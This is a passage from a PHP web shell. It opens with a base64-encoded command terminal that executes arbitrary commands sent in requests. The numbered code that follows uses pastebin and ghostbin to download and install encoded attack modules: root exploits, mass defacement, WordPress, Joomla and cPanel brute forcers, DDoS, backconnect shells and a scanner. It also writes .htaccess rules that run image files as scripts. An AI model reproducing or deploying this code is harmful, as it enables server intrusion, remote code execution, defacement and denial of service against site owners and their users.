dPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVV6VENJZ093MEtKSE5sY25abGNtUmxkR1ZqZEdsdVp5QTlJQ0pEYjI1MFpXNTAgTFZSeVlXNXpabVZ5TFVWdVkyOWthVzVuT2lCb2RIUndPaTh2SWlBdUlDUmZVMFZTVmsgVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdKRjlUUlZKV1JWSmJKMU5EVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR1Z1WTI5a2FXNW5MQ1J5Wlhvc0pITmxjblpsY20gUmxkR1ZqZEdsdVp5a2dPdzBLSkc1elkyUnBjaUE5S0NGcGMzTmxkQ2drWDFKRlVWVkYgVTFSYkozTmpaR2x5SjEwcEtUOW5aWFJqZDJRb0tUcGphR1JwY2lna1gxSkZVVlZGVTEgUmJKM05qWkdseUoxMHBPeVJ1YzJOa2FYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4KPD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygxKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0gLy8gZW5kIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9bmV3IHBocHRoaWVubGU7CkBzZXNzaW9uX3N0YXJ0KCk7CiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';
1907 $file = fopen("command.php", "w+");
1908 $write = fwrite($file, base64_decode($perltoolss));
1909 fclose($file);
1910 echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";
1911}//end NewCommand
1912
1913//symroot
1914elseif ($action == 'symroot') {
1915 $file = fopen($dir . "symroot.php", "w+");
1916 $perltoolss = file_get_contents('https://ghostbin.com/paste/fno7j/raw');
1917 $file = fopen("symroot.php", "w+");
1918 $write = fwrite($file, base64_decode($perltoolss));
1919 fclose($file);
1920 echo "<iframe src='symroot.php' width='100%' height='500'></iframe>";
1921 }
1922
1923//Zipcode
1924elseif ($action == 'zipcode') {
1925 $file = fopen($dir . "zipcode.php", "w+");
1926 $perltoolss = file_get_contents('https://ghostbin.com/paste/fxfu4/raw');
1927 $file = fopen("zipcode.php", "w+");
1928 $write = fwrite($file, base64_decode($perltoolss));
1929 fclose($file);
1930 echo "<iframe src='zipcode.php' width='100%' height='500'></iframe>";
1931 }
1932
1933//Massdeface
1934elseif ($action == 'mass') {
1935 $file = fopen($dir . "mass.php", "w+");
1936 $perltoolss = file_get_contents('https://ghostbin.com/paste/ggq7v/raw');
1937 $file = fopen("mass.php", "w+");
1938 $write = fwrite($file, base64_decode($perltoolss));
1939 fclose($file);
1940 echo "<iframe src='mass.php' width='100%' height='500'></iframe>";
1941 }
1942
1943
1944//ShellBypass
1945elseif ($action == 'vb') {
1946 $file = fopen($dir . "shellbypass.php", "w+");
1947 $perltoolss = file_get_contents('https://ghostbin.com/paste/cu2qo/raw');
1948 $file = fopen("shellbypass.php", "w+");
1949 $write = fwrite($file, base64_decode($perltoolss));
1950 fclose($file);
1951 echo "<iframe src='shellbypass.php' width='100%' height='500'></iframe>";
1952 }
1953
1954elseif ($action == 'termi') {
1955 $file = fopen($dir . "DGTerminal.php", "w+");
1956 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');
1957 $file = fopen("DGTerminal.php", "w+");
1958 $write = fwrite($file, base64_decode($perltoolss));
1959 fclose($file);
1960 echo "<iframe src='DGTerminal.php' width='100%' height='500'></iframe>";
1961 }
1962
1963 elseif ($action == 'cgipin') {
1964 mkdir('Pin', 0755);
1965 chdir('Pin');
1966 $kokdosya = ".htaccess";
1967 $dosya_adi = "$kokdosya";
1968 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1969 $metin = "Options +ExecCGI
1970AddHandler cgi-script cgi pl cgi gmc pin jpg
1971RewriteEngine on
1972RewriteRule (.*)\.mil$ $1.cgi
1973Options +FollowSymLinks
1974DirectoryIndex cmd.html
1975Options +Indexes
1976RemoveHandler .hack
1977AddType text/plain .hack";
1978 fwrite($dosya, $metin);
1979 fclose($dosya);
1980 $perltoolss = file_get_contents('https://ghostbin.com/paste/5qyrs/raw');
1981 $file = fopen("cgi.pin", "w+");
1982 $write = fwrite($file, base64_decode($perltoolss));
1983 fclose($file);
1984 chmod("cgi.pin", 0755);
1985 echo "<iframe src=pin/cgi.pin width=100% height=720px frameborder=0></iframe> ";
1986}
1987
1988elseif ($action == 'telnet') {
1989 mkdir('tel', 0755);
1990 chdir('tel');
1991 $kokdosya = ".htaccess";
1992 $dosya_adi = "$kokdosya";
1993 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1994 $metin = "Options +FollowSymLinks +Indexes
1995DirectoryIndex default.html
1996## START ##
1997Options +ExecCGI
1998AddHandler cgi-script log cgi pl tg love h4 Marion001 tgb x-zone
1999AddType application/x-httpd-php .jpg
2000RewriteEngine on
2001RewriteRule (.*)\war$ .log
2002## END ##";
2003 fwrite($dosya, $metin);
2004 fclose($dosya);
2005 $perltoolss = file_get_contents('https://ghostbin.com/paste/bh278/raw');
2006 $file = fopen("telnet.pl", "w+");
2007 $write = fwrite($file, base64_decode($perltoolss));
2008 fclose($file);
2009 chmod("telnet.pl", 0755);
2010 echo "<iframe src=tel/telnet.pl width=100% height=720px frameborder=0></iframe> ";
2011}
2012
2013elseif ($action == 'endecode') {
2014$en = 'http://pastebin.com/raw.php?i=y5Qhr0WM';
2015$de = file_get_contents($en);
2016$cone = fopen('endecode.php', 'w');
2017fwrite($cone,$de);
2018fclose($cone);
2019echo "<iframe src='endecode.php' width='100%' height='500'></iframe>";
2020}
2021//BKV-1102
2022elseif ($action == 'BKV-1102') {
2023 $file = fopen($dir . "BKV-1102.php", "w+");
2024 $perltoolss = file_get_contents('http://pastebin.com/raw/43gW5UNP');
2025 $file = fopen("ws0.php", "w+");
2026 $write = fwrite($file, base64_decode($perltoolss));
2027 fclose($file);
2028 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2029}
2030//MyINDEX
2031elseif ($action == 'indexanons108') {
2032 $file = fopen($dir . "BKV-1102.php", "w+");
2033 $perltoolss = file_get_contents('http://pastebin.com/raw.php/EUiWbp0c');
2034 $file = fopen("ws0.php", "w+");
2035 $write = fwrite($file, base64_decode($perltoolss));
2036 fclose($file);
2037 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2038}
2039//brutewp
2040elseif ($action == 'brutewp') {
2041 $file = fopen($dir . "brutewp.php", "w+");
2042 $perltoolss = file_get_contents('http://pastebin.com/raw.php/zSZ9PM44');
2043 $file = fopen("ws0.php", "w+");
2044 $write = fwrite($file, base64_decode($perltoolss));
2045 fclose($file);
2046 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2047}
2048//getroot
2049elseif ($action == 'getroot') {
2050 $file = fopen($dir . "getroot.php", "w+");
2051 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=cJZV55s1');
2052 $file = fopen("ws0.php", "w+");
2053 $write = fwrite($file, base64_decode($perltoolss));
2054 fclose($file);
2055 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2056}
2057//brutejoomla
2058elseif ($action == 'brutejl') {
2059 $file = fopen($dir . "brutewp.php", "w+");
2060 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=EXrxGmq3');
2061 $file = fopen("ws0.php", "w+");
2062 $write = fwrite($file, base64_decode($perltoolss));
2063 fclose($file);
2064 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2065}
2066//Andela
2067elseif ($action == 'vcl123') {
2068 $file = fopen($dir . "Andela", "w+");
2069 $perltoolss = file_get_contents('http://pastebin.com/raw/43gW5UNP');
2070 $file = fopen("ws0.php", "w+");
2071 $write = fwrite($file, base64_decode($perltoolss));
2072 fclose($file);
2073 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2074}
2075//Byg
2076elseif ($action == 'byg') {
2077 $file = fopen($dir . "Andela", "w+");
2078 $perltoolss = file_get_contents('http://pastebin.com/raw.php/3yK65eJk');
2079 $file = fopen("ws0.php", "w+");
2080 $write = fwrite($file, base64_decode($perltoolss));
2081 fclose($file);
2082 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2083}
2084
2085elseif ($action == 'hungml') {
2086 $file = fopen($dir . "DGTerminal.ph p", "w+");
2087 $perltoolss = file_get_contents('https://ghostbin.com/paste/wbh5t/raw');
2088 $file = fopen("DGTerminal.php", "w+");
2089 $write = fwrite($file, base64_decode($perltoolss));
2090 fclose($file);
2091 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='DGTerminal.php' target='_blank' style='color:red'>DGTerminal.php</a></font></b></center><br><center><font color='aqua' size='4'>Username:</font> <font size='4'><a style='color:red'>admin</a></font> <br><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>admin</a></font></b></center>";
2092
2093}
2094
2095elseif ($action == 'khanhoccho') {
2096 $file = fopen($dir . "Massdeface.ph p", "w+");
2097 $perltoolss = file_get_contents('http://pastebin.com/raw/Au84ZjQW');
2098 $file = fopen("Massdeface.php", "w+");
2099 $write = fwrite($file, base64_decode($perltoolss));
2100 fclose($file);
2101 echo "<iframe src='Massdeface.php' width='100%' height='500'></iframe>";
2102
2103}
2104//Base64
2105elseif ($action == 'base64') {
2106
2107 echo "<iframe src=http://tools.sinhvienit.net/base64/ width=100% height=720px frameborder=0></iframe> ";
2108}
2109//SSIHTML
2110elseif ($action == 'ssihtml') {
2111 $file = fopen($dir . "ssihtml", "w+");
2112 $perltoolss = file_get_contents('http://pastebin.com/raw.php/iAufj8Y7');
2113 $file = fopen("ssihtml.php", "w+");
2114 $write = fwrite($file, base64_decode($perltoolss));
2115 fclose($file);
2116 echo "<iframe src='ssihtml.php' width='100%' height='500'></iframe>";
2117}
2118//DDOS
2119elseif ($action == 'ddos') {
2120 $ddos = 'http://pastebin.com/raw.php?i=kJSN6ifL';
2121 $getfile = file_get_contents($ddos);
2122 $done = fopen('ddos.php', 'w');
2123 fwrite($done, $getfile);
2124 fclose($done);
2125 echo "<iframe src='ddos.php' width='100%' height='500'></iframe>";
2126}
2127
2128elseif ($action == 'ddosv2') {
2129$ddosv = 'http://pastebin.com/raw.php?i=XYwv7CSa';
2130$dess = file_get_contents($ddosv);
2131$coneww = fopen('ddosv2.php', 'w');
2132fwrite($coneww,$dess);
2133fclose($coneww);
2134echo "<iframe src='ddosv2.php' width='100%' height='500'></iframe>";
2135}
2136
2137elseif ($action == 'bcphp') {
2138 $file = fopen($dir . "backconnect.php", "w+");
2139 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q7mAs9Nf');
2140 $file = fopen("backconnect.php", "w+");
2141 $write = fwrite($file, base64_decode($perltoolss));
2142 fclose($file);
2143 echo "<iframe src='backconnect.php' width='100%' height='500'></iframe>";
2144}
2145//BruteCPv2
2146elseif ($action == 'brutecpv2') {
2147 $brutecpv2s = 'http://pastebin.com/raw.php?i=Xm28RVWL';
2148 $brutecpv2a = file_get_contents($brutecpv2s);
2149 $brutecpv2b = fopen('brutecpv2.php', 'w');
2150 fwrite($brutecpv2b, $brutecpv2a);
2151 fclose($brutecpv2b);
2152 echo "<iframe src='brutecpv2.php' width='100%' height='500'></iframe>";
2153}
2154
2155elseif ($action == 'viewdomain') {
2156$viewdomain = 'http://pastebin.com/raw.php?i=iGsiu7uK';
2157$desszzzz = file_get_contents($viewdomain);
2158$coww = fopen('viewdomain.php', 'w');
2159fwrite($coww,$desszzzz);
2160fclose($coww);
2161echo "<iframe src='viewdomain.php' width='100%' height='500'></iframe>";
2162}
2163
2164elseif ($action == 'scan') {
2165 $file = fopen($dir . "scan.php", "w+");
2166 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=PiUR3LPb');
2167 $file = fopen("scan.php", "w+");
2168 $write = fwrite($file, base64_decode($perltoolss));
2169 fclose($file);
2170 echo "<iframe src='scan.php' width='100%' height='500'></iframe>";
2171}
2172
2173
2174elseif ($action == 'massfd') {
2175 $file = fopen($dir . "massfd.php", "w+");
2176 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=S0uCaquf');
2177 $file = fopen("massfd.php", "w+");
2178 $write = fwrite($file, base64_decode($perltoolss));
2179 fclose($file);
2180 echo "<iframe src='massfd.php' width='100%' height='500'></iframe>";
2181}
2182
2183elseif ($action == 'reverseip') {
2184
2185 echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";
2186}
2187//MD5
2188elseif ($action == 'md5') {
2189
